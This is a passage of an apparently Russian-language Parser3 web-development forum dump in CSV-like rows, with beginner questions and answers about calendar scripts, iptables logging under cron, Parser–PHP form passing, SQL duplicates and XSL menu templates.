Денег за это платить и просить не буду ибо думаю, что в общих интересах. \
Кроме этого, не очень хочу особо афишировать, т.е. проект полуоткрытый, не OpenSource\
\
К тому же, после написания достойного ядра, хочу найти силы и написать админку: XUL+Parser+XML-RPC\
\
Всех заинтереснованных прошу писать мне на мыло (думаю в форуме бесполезно) или в асю 345744537\
\
Спасибо за внимание."
"40127","У меня, да и не тоько у меня уже есть определенные наработки (в виде работающих проектов) по subj. \
Но меня интересует поподробней про \"не Open Source\" - полуоткрытый это как?"
"40130","\"Как задать вопрос чтобы получить максимально полезный ответ?\" - первый абзац."
"40131","только делалось это ещё когда не былр ни статьи на dklab ни у google в поиске. но суть та-же самая."
"40132","Делал календарь с разделом новостей (по урокам из документации)\
В чем проблема: Новости, которые добавляю сегодня отображаются, но те, что добавлены в другие дни не открываются. То есть ссылки на этот день нет. Ну если только не набрать в адресной строке ?day=... почему так? Уже пробовал копировать код точь-в-точь как в уроке, но все равно никак. Почему?\
И еще вопрос. Как мне сделать ссылки на другие месяца. То есть, если у меня есть новости и за май и за апрель. Как мне попадать из одно месяца в другой? Не переводить же системные часы... :)"
"40133","@calendar[] \
$calendar_locale[ \
   $.month_names[ \
         $.1[Январь] \
         $.2[Февраль] \
         $.3[Март] \
         $.4[Апрель] \
         $.5[Май] \
         $.6[Июнь] \
         $.7[Июль] \
         $.8[Август] \
         $.9[Сентябрь] \
         $.10[Октябрь] \
         $.11[Ноябрь] \
         $.12[Декабрь] \
   ] \
   $.day_names[ \
         $.0[пн] \
         $.1[вт] \
         $.2[ср] \
         $.3[чт] \
         $.4[пт] \
         $.5[сб] \
         $.6[вс] \
   ] \
   $.day_colors[ \
         $.0[#000000] \
         $.1[#000000] \
         $.2[#000000] \
         $.3[#000000] \
         $.4[#000000] \
         $.5[#800000] \
         $.6[#800000] \
   ] \
] \
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<center> \
<table bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr> \
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b>$calendar_locale.month_names.[$now.month]</b> \
      </td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $days.$week_day \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center>"
"40134","Исходники (не всего Imprimatur, конечно :0) показать нельзя?"
"40136","Пожалуйста подскажите в чём проблемма,\
Написал скрипт снятия статистики IPTABLES\
[code]\
#!/bin/sh\
iptables -L -v >> stat.log\
[/code]сохранил в файл statistick\
пры запуске этого файла в ручную всё ОК, работает, но при запуске через [b]cron[/b] файл [b]stat.log[/b] создаётся, но пустой, т.е. сама статистика не снимается. \
Что я делаю не так???"
"40137","[b]При попытке выполнить SQL запрос вылетает такая вещь:[/b]\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@rbc.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
[b]В логах вот это:[/b]\
\
/www/cgi-bin/parser3/lib/libparser3mysql.so' can't open the \
module [<no type>]\
\
[b]К чему это все?[/b]"
"40138","А по этому пути\
\"/www/cgi-bin/parser3/lib/\"\
у Вас есть файл \"libparser3mysql.so\" или нет ?"
"40139","Когда Парсер будет дружить с POP3 протоколом? Хотелось бы уже на Парсере написать почтового робота."
"40140","[code]\
$MAIN:variable\
[/code]"
"40142","Когдаж свершиться чудо? :)\
разрываться между РНР и Parser, надоело..."
"40143","Помогите, плиз!\
Не работает календарь из документации. Точнее он работает, но не так, как я хочу. Мне нужно, чтобы ссылки были на все числа месяца, а не только на сегодняшнее. Как такое сделать? Вот код, который у меня сейчас.\
[code]\
#########################\
#	news.html	#\
#########################\
^calendar[]<br> \
$day(^if(def $form:day){ \
   $form:day \
}{ \
   $now.day \
}) \
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}.${now.month}.$day' \
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено. \
   } \
}\
[/code]\
\
Это html. Вот код на Парсере:\
[code]\
@calendar[] \
$calendar_locale[ \
   $.month_names[ \
         $.1[Январь] \
         $.2[Февраль] \
         $.3[Март] \
         $.4[Апрель] \
         $.5[Май] \
         $.6[Июнь] \
         $.7[Июль] \
         $.8[Август] \
         $.9[Сентябрь] \
         $.10[Октябрь] \
         $.11[Ноябрь] \
         $.12[Декабрь] \
   ] \
   $.day_names[ \
         $.0[пн] \
         $.1[вт] \
         $.2[ср] \
         $.3[чт] \
         $.4[пт] \
         $.5[сб] \
         $.6[вс] \
   ] \
   $.day_colors[ \
         $.0[#444444] \
         $.1[#444444] \
         $.2[#444444] \
         $.3[#444444] \
         $.4[#444444] \
         $.5[#444444] \
         $.6[#800000] \
   ] \
] \
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<table bgcolor=\"#5972AB\" cellspacing=\"1\"> \
   <tr> \
      <td bgcolor=\"#D6DDE9\" colspan=\"7\" align=\"middle\"> \
         <b>$calendar_locale.month_names.[$now.month]</b> \
      </td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#5972AB\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr>\
\
# Как я подозреваю загвоздка где-то тут. Но где??? \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#D6DDE9\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <a href=\"/sect/news/?day=$days.$week_day\">$days.$week_day</a> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#D6DDE9\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $days.$week_day \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#D6DDE9\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center>\
[/code]\
\
Помогите, плиз!!!"
"40144","Основное использование Parser-a у меня на уровне приложений\
для мобильного телефона. И в их взаимоинтеграции я, в общем,\
добился взаимодействия. За исключением форм. Т.к. WML и HTML\
по разному отправляют данные на следующую страницу.\
Приходиться пользоваться услугами РНР, с \"обвязкой\" WML.\
У WML это выглядит так,\
<do type=\"accept\" label=\"Рисовать\">\
  <go href=\"graph.wml\" method=\"get\">\
      <postfield name=\"cur\" value=\"$(cur)\"/>\
      <postfield name=\"per\" value=\"$(per)\"/>\
      <postfield name=\"clr\" value=\"$(clr)\"/>\
      <postfield name=\"bgd\" value=\"$(bgd)\"/>\
      <postfield name=\"line\" value=\"$(line)\"/>\
  </go>\
</do>\
а у HTML так,\
<form action=\"graph.wml\" method=\"get\">\
<select ....\
   <option value......\
</select>\
<input type=\"submit\" value=\"График\">\
</form>\
Может я зациклился, но нет ли более логичного решения\
в Parsere, чем постоянное использование PHP?"
"40145","Хотя не так гладко, как хотелось бы. Работы куча....\
Надеюсь сделать себе на день рождения (к концу этого месяца - началу следующего) подарок выпуском первой версии, которую ПАФ справедливо осудит и отошлет на доработку. :), но это будет уже бешеный прогресс!"
"40146","1 вариант, убрать проверку (!тогда день не будет выделятся)\
2 вариант, добавить ссылку (см ниже):\
[code]\
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){\
#вот тут проверяется если день сегодняшний или нет\
            ^if($days.$week_day==$now.day){ \
#вот это выводится если да и тут присутствует ссылка\
            <td align=\"middle\" bgcolor=\"#D6DDE9\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <a href=\"/sect/news/?day=$days.$week_day\">$days.$week_day</a> \
               </font> \
            </td> \
            }{\
# а вот тут если день не сегодняшний          \
            <td align=\"middle\" bgcolor=\"#D6DDE9\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
#и тут нет ссылки!!!\
#               <a #href=\"/sect/news/?day=$days.$week_day\">$days.$week_day</a> \
# если написать так, то появится ссылка на каждый день\
              $days.$week_day \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#D6DDE9\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
[/code]\
Но интересней сделать проверку и ссылки только на те числа, которые уже были..."
"40147","Параграф:\
\
roll. Сдвиг даты \
\
в документации почитай...\
\
я сам не пробовал."
"40148","Я знаю что не при чём, но где я только не спрашивал не  отвечают.\
Парсер тут только скраю, система учёта трафика с доступом к инету полностью управляется через WEB интерфейс, который написан на ПАРСЕРе."
"40149","Большое спасибо! Теперь разберусь."
"40154","Вот наткнулся на топик http://www.parser.ru/forum/?id=33412 - всё хорошо, но не понятно можноли в php передать параметры.\
\
например если в парсере\
форма <input name=\"fromparser\">\
\
то как сделать что иполняемы php файл получил $form:fromparser ?"
"40155","Был, есть, и будет есть! Всем спасибо разобрался..."
"40157","Написано ведь:\
\
[quot]#передаём все наши параметры методом GET (нельзя файлы)\
#если нас вызвали методом POST, и эти параметры будут переданы\
$.form[$form:fields][/quot]\
\
Для просвещения читать \"Приложение 1. Пути к файлам и каталогам, [i]работа с HTTP-серверами[/i]\" из доки Парсера."
"40158","Есть формула которая определяет выходной день скажем dbo.inf.hol\
Как узнать что сегодня последний день перед выходным?\
\
Тоесть нужно что, чтобы этоусловие определяло что сегодня день передвыходным и дела определенную процедуру \
if.......\
else....."
"40161","А чего там???"
"40163","http://www.spearance.ru/parser3/antimat/?text=х%20у%20й"
"40164","да там такое, такоое... ух... \
сюрприз: в документации все-все есть..."
"40165","Подскажите пожалуйста..\
я пытаюсь разобраться с механизмом реализации темы- статьи по теме..\
у меня в таблице есть поле topics, в котором через запятую перечислены слова, характеризующие текущую статью. После каждой статьи я выполняю такую проверку\
\
		^if($news.topics ne ''){\
			 $stuff[^table::create{id	date	header	source	sourcelink}] \
                         <h3>Статьи по теме</h3>\
			$parts[^rsplit[$news.topics;[,\\.]\\s?]]\
			^parts.menu{\
			$topics[^table::sql{select \
			     id, date, header, source, sourcelink, body\
			  from \
			     news\
			  where\
			       header like '%$parts.piece%' or body like '%$parts.piece%'\
			 }] \
			^if($topics){\
				^if($stuff.id ne $topics.id){\
					^stuff.join[$topics]}{}\
				}{}\
			}\
			^stuff.menu{\
				$stuff.header<br>\
			}#вывод статей по теме\
\
		}{}\
\
Однако у меня в таблице $stuff набираются поля с одинаковым id из за множественных совпадений. Как выбрать из таблицы поля с уникальными id? Что-то не соображу?\
\
Или может быть данная проблема вообще решается по другому?\
\
Заранее спасибо!"
"40166","да ты что... уххх... это интересно :)\
Но в документации этолт класс предназначен для работы с полями форм. А форм-то у меня в новостях нету!"
"40167","при вызове index.html?id=1 внутри index.html будет переменная $form:id с текстовым значением 1"
"40168","http://soft.mindwork.ru/usephp/ - пример\
\
сделал практически тоже что на \
http://www.spearance.ru/parser3/pictures/ только средствами PHP и GD естественно всё работает в парсере через PAF овский вариант взаимодействия, только я не смог разобраться в передачи данным между PHP и Parser поэтому извернулся через \
\
Parser(пишет) > файл > PHP( читает ) \
\
глупость конечно, но кому интресно смотрите."
"40169","Это называется Ajax и удачно эксплуатируется нами при всех удобных случаях.\
\
Навыки JavaScript, DOM и, конечно, parser объязательны. \
[url=\"http://www.fiftyfoureleven.com/resources/programming/xmlhttprequest/examples\"]Дурной пример заразителен[/url] :)"
"40173","И самое главное, он не оправдывает тех затрат которые на него производятся.\
\
Чтобы это подтвердить, попробуйте проверить малый Петровский загиб, и вам сразу всё станет ясно что бороться с матом бесполезно, особенно если ещё тратить на него такой объём ресурсов.\
\
http://plutser.ru/barkoviana/zagib_petr/zagib_malyj_petra\
\
P.S. В этом треде есть два достаточно хороших варианта. Какой из них ставить - дело вкуса.\
\
P.P.S. Далее предлагаю не разводить OFF."
"40179","А примеры \"удачной эксплуатации при удобных случаях\" где можно посмотреть? Может подскажете или покажете?"
"40180","$variable[^table::sql{\
    SELECT DISTINCT\
      id, header\
    FROM\
      $stuff\
  }]"
"40181","[color=\"#ffffff\"]Читайте доки. Они рулят.[/color]"
"40182","Начал изучать XML и XSL.\
\
Пробую выделять пункты меню: простой, внутри пункта, на этом пункте, с помощью параметра selected.\
\
Можно ли задать параметр только у одного элемента, а спомощью xsl разобраться, при неограниченной вложенности?\
\
#################################################################\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<page>\
<title>Заголовок</title>\
<description>Описание</description>\
<menu level=\"1\">\
	<menuitem selected=\"no\" link=\"/about/\" name=\"О авторе\" img=\"\" img_in=\"\" img_yes=\"\" id=\"1\"></menuitem>\
	<menuitem selected=\"no\" link=\"/company/\" name=\"О компании\" img=\"\" img_in=\"\" img_yes=\"\" id=\"2\"></menuitem>\
	<menuitem selected=\"no\" link=\"/info/\" name=\"Информация\" img=\"\" img_in=\"\" img_yes=\"\" id=\"3\"></menuitem>\
	<menuitem selected=\"in\" link=\"/feedback/\" name=\"Контакты\" img=\"\" img_in=\"\" img_yes=\"\" id=\"4\">\
		<menu level=\"2\">\
		<menuitem selected=\"in\" link=\"/feedback/phone/\" name=\"Телефоны\" img=\"\" img_in=\"\" img_yes=\"\" id=\"5\">\
			<menu level=\"3\">\
			<menuitem selected=\"in\" link=\"/feedback/phone/1/\" name=\"Отдел 1\" img=\"\" img_in=\"\" img_yes=\"\" id=\"6\">\
				<menu level=\"4\">\
				<menuitem selected=\"yes\" link=\"/feedback/phone/1/1/\" name=\"1\" img=\"\" img_in=\"\" img_yes=\"\" id=\"7\"></menuitem>\
				<menuitem selected=\"no\" link=\"/feedback/phone/1/2/\" name=\"2\" img=\"\" img_in=\"\" img_yes=\"\" id=\"8\"></menuitem>\
				<menuitem selected=\"no\" link=\"/feedback/phone/1/3/\" name=\"3\" img=\"\" img_in=\"\" img_yes=\"\" id=\"9\"></menuitem>\
				</menu>\
			</menuitem>\
			<menuitem selected=\"no\" link=\"/feedback/phone/2/\" name=\"Отдел 2\" img=\"\" img_in=\"\" img_yes=\"\" id=\"10\"></menuitem>\
			<menuitem selected=\"no\" link=\"/feedback/phone/3/\" name=\"Отдел 3\" img=\"\" img_in=\"\" img_yes=\"\" id=\"11\"></menuitem>\
			</menu>\
		</menuitem>\
		<menuitem selected=\"no\" link=\"/feedback/place/\" name=\"Расположение\" img=\"\" img_in=\"\" img_yes=\"\" id=\"12\"></menuitem>\
		<menuitem selected=\"no\" link=\"/feedback/mail/\" name=\"Форма\" img=\"\" img_in=\"\" img_yes=\"\" id=\"13\"></menuitem>\
		</menu>\
	</menuitem>\
</menu>\
\
<content>\
text\
</content>\
\
</page>}]\
#################################################################\
$style[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output indent=\"yes\"/>\
<xsl:template match=\"/\">\
<html>\
<head>\
	<title><xsl:value-of select=\"//title\" /></title>\
	<meta name=\"description\">\
	<xsl:attribute name=\"content\"><xsl:value-of select=\"//description\" /></xsl:attribute>\
	</meta>\
	<meta name=\"keywords\" content=\"\" />\
	<link rel=\"stylesheet\" type=\"text/css\" href=\"xml.css\"/>\
</head>\
<body>\
\
<table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\" border=\"1\">\
	<tr>\
		<td width=\"20%\" valign=\"top\"><spacer width=\"1\" height=\"1\"/></td>\
		<td width=\"80%\" valign=\"top\">\
menu\
		</td>\
	</tr>\
	<tr>\
		<td colspan=\"2\"><spacer width=\"1\" height=\"1\"/></td>\
	</tr>\
</table>\
\
<table>\
	<tr>\
		<td width=\"20%\" valign=\"top\">\
<xsl:apply-templates select=\"//menu[@level='1']\" />\
		</td>\
		<td width=\"80%\" valign=\"top\">\
<xsl:value-of select=\"//content\" />\
		</td>\
	</tr>\
</table>\
</body>\
</html>\
</xsl:template>\
\
<xsl:template match=\"//menu\">\
<xsl:choose>\
<!-- level 1 -->\
	<xsl:when test=\"@level='1'\">\
<table>\
	<xsl:for-each select=\"menuitem\">\
	<xsl:apply-templates select=\".\" />\
	</xsl:for-each>\
</table>&#xa0^;\
	</xsl:when>\
<!-- level 2 -->\
	<xsl:when test=\"@level='2'\">\
	<xsl:for-each select=\"menuitem\">\
	<xsl:apply-templates select=\".\" />\
	</xsl:for-each>\
	</xsl:when>\
<!-- level 3 -->\
	<xsl:when test=\"@level='3'\">\
	<xsl:for-each select=\"menuitem\">\
	<xsl:apply-templates select=\".\" />\
	</xsl:for-each>\
	</xsl:when>\
<!-- level 4 -->\
	<xsl:when test=\"@level='4'\">\
	<xsl:for-each select=\"menuitem\">\
	<xsl:apply-templates select=\".\" />\
	</xsl:for-each>\
	</xsl:when>\
</xsl:choose>\
</xsl:template>\
\
<xsl:template match=\"//menu[@level='1']/menuitem\">\
<xsl:choose>\
	<xsl:when test=\"@selected='no'\"><tr><td><xsl:attribute name=\"bgcolor\">blue</xsl:attribute>\
	<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='in'\"><tr><td><xsl:attribute name=\"bgcolor\">red</xsl:attribute>\
	<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='2']\" />\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='yes'\"><tr><td><xsl:attribute name=\"bgcolor\">green</xsl:attribute>\
	<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='2']\" />\
	</xsl:when>\
</xsl:choose>\
</xsl:template>\
\
<xsl:template match=\"//menu[@level='2']/menuitem\">\
<xsl:choose>\
	<xsl:when test=\"@selected='no'\"><tr><td><xsl:attribute name=\"bgcolor\">#666666</xsl:attribute>\
	--<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='in'\"><tr><td><xsl:attribute name=\"bgcolor\">black</xsl:attribute>\
	--<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='3']\" />\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='yes'\"><tr><td><xsl:attribute name=\"bgcolor\">lime</xsl:attribute>\
	--<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='3']\" />\
	</xsl:when>\
</xsl:choose>\
</xsl:template>\
\
<xsl:template match=\"//menu[@level='3']/menuitem\">\
<xsl:choose>\
	<xsl:when test=\"@selected='no'\"><tr><td><xsl:attribute name=\"bgcolor\">maroon</xsl:attribute>\
	----<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='in'\"><tr><td><xsl:attribute name=\"bgcolor\">indigo</xsl:attribute>\
	----<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='4']\" />\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='yes'\"><tr><td><xsl:attribute name=\"bgcolor\">yellow</xsl:attribute>\
	-----<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='4']\" />\
	</xsl:when>\
</xsl:choose>\
</xsl:template>\
\
<xsl:template match=\"//menu[@level='4']/menuitem\">\
<xsl:choose>\
	<xsl:when test=\"@selected='no'\"><tr><td><xsl:attribute name=\"bgcolor\">#333333</xsl:attribute>\
	------ <a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='in'\"><tr><td><xsl:attribute name=\"bgcolor\">#333333</xsl:attribute>\
	------ <a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='5']\" />\
	</xsl:when>\
	\
	<xsl:when test=\"@selected='yes'\"><tr><td><xsl:attribute name=\"bgcolor\">#333333</xsl:attribute>\
	------ <a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		<xsl:apply-templates select=\"menu[@level='5']\" />\
	</xsl:when>\
</xsl:choose>\
</xsl:template>\
\
</xsl:stylesheet>}]\
\
#################################################################\
$transformedDoc[^document.transform[$style]]\
$html[^transformedDoc.string[$.method[html]]]\
\
<pre>\
^taint[html][$html]\
</pre>\
$html"
"40184","нет слов, одни эмоции... \
совет: сократите, раз в 10... \
и еще [code] - очень классная штука, не зря ее придумали..."
"40185","Вопрос остается открытым, еще один момент если меню разных уровней надо распологать разными стилями и в разных местах, для каждого уровня нужен свой шаблон, тогда что именно сокращать.\
\
Тут со всеми новичками так принято общаться?\
Про [code] буду знать."
"40186","не знаю, я сам не старичек :) \
но думаю, что с ленивыми нужно именно так\
\
1. про уровни: используйте обычное дерево и XSL (ascendant)\
2. call-template рулит.\
3. если нет otherwise, то зачем choose?\
4. вполне можно без for-each\
5. Я так понимаю у вас все же какая-то абстракция стилей уровня есть... значит variable и params спасут... \
6. Вы хоть парсером дерево генерите?\
7. помнить про эту штуку:\
[code]\
^if(...){ selected=\"yes\"}\
	\
	<xsl:if test=\"@selected\">...</xsl:if>\
[/code]\
\
PS документация по XSL рулит, на этом сайте есть ссылочка...\
\
PSPS а причем тут парсер? ;)"
"40187","как грамотно присоединить ImageMagick (и какой) на хост. Linux Redhat. Парсер там уже живет и дышит полной грудью.\
\
Может где-то уже обсуждалось."
"40188","А вообще поищите по форуму, вопрос по Image::Magick уже обсуждался:\
\
[url=\"http://www.parser.ru/forum/?terms=Image%3A%3AMagick&search_in_message=1&doSearch=1\"]Результат поиска[/url] :)"
"40189","1. про уровни: используйте обычное дерево и XSL (ascendant)\
	что значит обычное?\
2. call-template рулит.\
	попробовал без них, может с ними лучше?\
6. Вы хоть парсером дерево генерите?\
	пока нет, почитал форум решил делать простым текстом, без всяких xnode, или я не так понял?\
\
Испавленное решение в XML я начинающий, необходим вектор для правильного изучения XML+Parser.\
\
[code]\
#################################################################\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<page>\
<title>Заголовок</title>\
<description>Описание</description>\
<menu>\
	<menuitem link=\"/about/\" name=\"О авторе\"></menuitem>\
	<menuitem link=\"/company/\" name=\"О компании\"></menuitem>\
	<menuitem link=\"/info/\" name=\"Информация\"></menuitem>\
	<menuitem link=\"/feedback/\" name=\"Контакты\">\
		<menu>\
		<menuitem link=\"/feedback/phone/\" name=\"Телефоны\">\
			<menu>\
			<menuitem link=\"/feedback/phone/1/\" name=\"Отдел 1\">\
				<menu>\
				<menuitem selected=\"yes\" link=\"/feedback/phone/1/1/\" name=\"1\"></menuitem>\
				<menuitem link=\"/feedback/phone/1/2/\" name=\"2\"></menuitem>\
				<menuitem link=\"/feedback/phone/1/3/\" name=\"3\"></menuitem>\
				</menu>\
			</menuitem>\
			<menuitem link=\"/feedback/phone/2/\" name=\"Отдел 2\"></menuitem>\
			<menuitem link=\"/feedback/phone/3/\" name=\"Отдел 3\"></menuitem>\
			</menu>\
		</menuitem>\
		<menuitem link=\"/feedback/place/\" name=\"Расположение\"></menuitem>\
		<menuitem link=\"/feedback/mail/\" name=\"Форма\"></menuitem>\
		</menu>\
	</menuitem>\
</menu>\
\
<content>\
text\
</content>\
\
</page>}]\
#################################################################\
$style[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output indent=\"yes\"/>\
<xsl:template match=\"/\">\
<html>\
<head>\
	<title><xsl:value-of select=\"//title\" /></title>\
	<meta name=\"description\">\
	<xsl:attribute name=\"content\"><xsl:value-of select=\"//description\" /></xsl:attribute>\
	</meta>\
	<meta name=\"keywords\" content=\"\" />\
	<link rel=\"stylesheet\" type=\"text/css\" href=\"xml.css\"/>\
</head>\
<body>\
\
<table>\
	<tr>\
		<td width=\"20%\" valign=\"top\">\
<xsl:apply-templates select=\"page/menu\" />\
		</td>\
		<td width=\"80%\" valign=\"top\">\
<xsl:value-of select=\"//content\" />\
		</td>\
	</tr>\
</table>\
</body>\
</html>\
</xsl:template>\
\
<xsl:template match=\"//menu\">\
<!-- level 1 -->\
	<xsl:if test=\"count(ancestor::menu)=0\">\
<table>\
	<xsl:apply-templates select=\"menuitem\" />\
</table>\
	</xsl:if>\
<!-- level 2 -->\
	<xsl:if test=\"count(ancestor::menu)=1\">\
	<xsl:apply-templates select=\"menuitem\" />\
	</xsl:if>\
<!-- level 3 -->\
	<xsl:if test=\"count(ancestor::menu)=2\">\
	<xsl:apply-templates select=\"menuitem\" />\
	</xsl:if>\
<!-- level 4 -->\
	<xsl:if test=\"count(ancestor::menu)=3\">\
	<xsl:apply-templates select=\"menuitem\" />\
	</xsl:if>\
</xsl:template>\
\
\
\
<xsl:template match=\"//menuitem\">\
<!-- level 1 -->\
	<xsl:if test=\"count(ancestor::menu)=1\">\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=1\">\
			<xsl:if test=\"@selected='yes'\">\
	<tr><td><xsl:attribute name=\"bgcolor\">green</xsl:attribute>\
	--<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
			<xsl:if test=\"not(@selected)\">\
	<tr><td><xsl:attribute name=\"bgcolor\">red</xsl:attribute>\
	--<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
	<xsl:apply-templates match=\"menu\"/>\
		</xsl:if>\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=0\">\
	<tr><td><xsl:attribute name=\"bgcolor\">blue</xsl:attribute>\
	--<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		</xsl:if>\
	</xsl:if>\
<!-- level 2 -->\
	<xsl:if test=\"count(ancestor::menu)=2\">\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=1\">\
			<xsl:if test=\"@selected='yes'\">\
	<tr><td><xsl:attribute name=\"bgcolor\">green</xsl:attribute>\
	----<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
			<xsl:if test=\"not(@selected)\">\
	<tr><td><xsl:attribute name=\"bgcolor\">red</xsl:attribute>\
	----<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
	<xsl:apply-templates match=\"menu\"/>\
		</xsl:if>\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=0\">\
	<tr><td><xsl:attribute name=\"bgcolor\">blue</xsl:attribute>\
	----<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		</xsl:if>\
	</xsl:if>\
<!-- level 3 -->\
	<xsl:if test=\"count(ancestor::menu)=3\">\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=1\">\
			<xsl:if test=\"@selected='yes'\">\
	<tr><td><xsl:attribute name=\"bgcolor\">green</xsl:attribute>\
	------<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
			<xsl:if test=\"not(@selected)\">\
	<tr><td><xsl:attribute name=\"bgcolor\">red</xsl:attribute>\
	------<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
	<xsl:apply-templates match=\"menu\"/>\
		</xsl:if>\
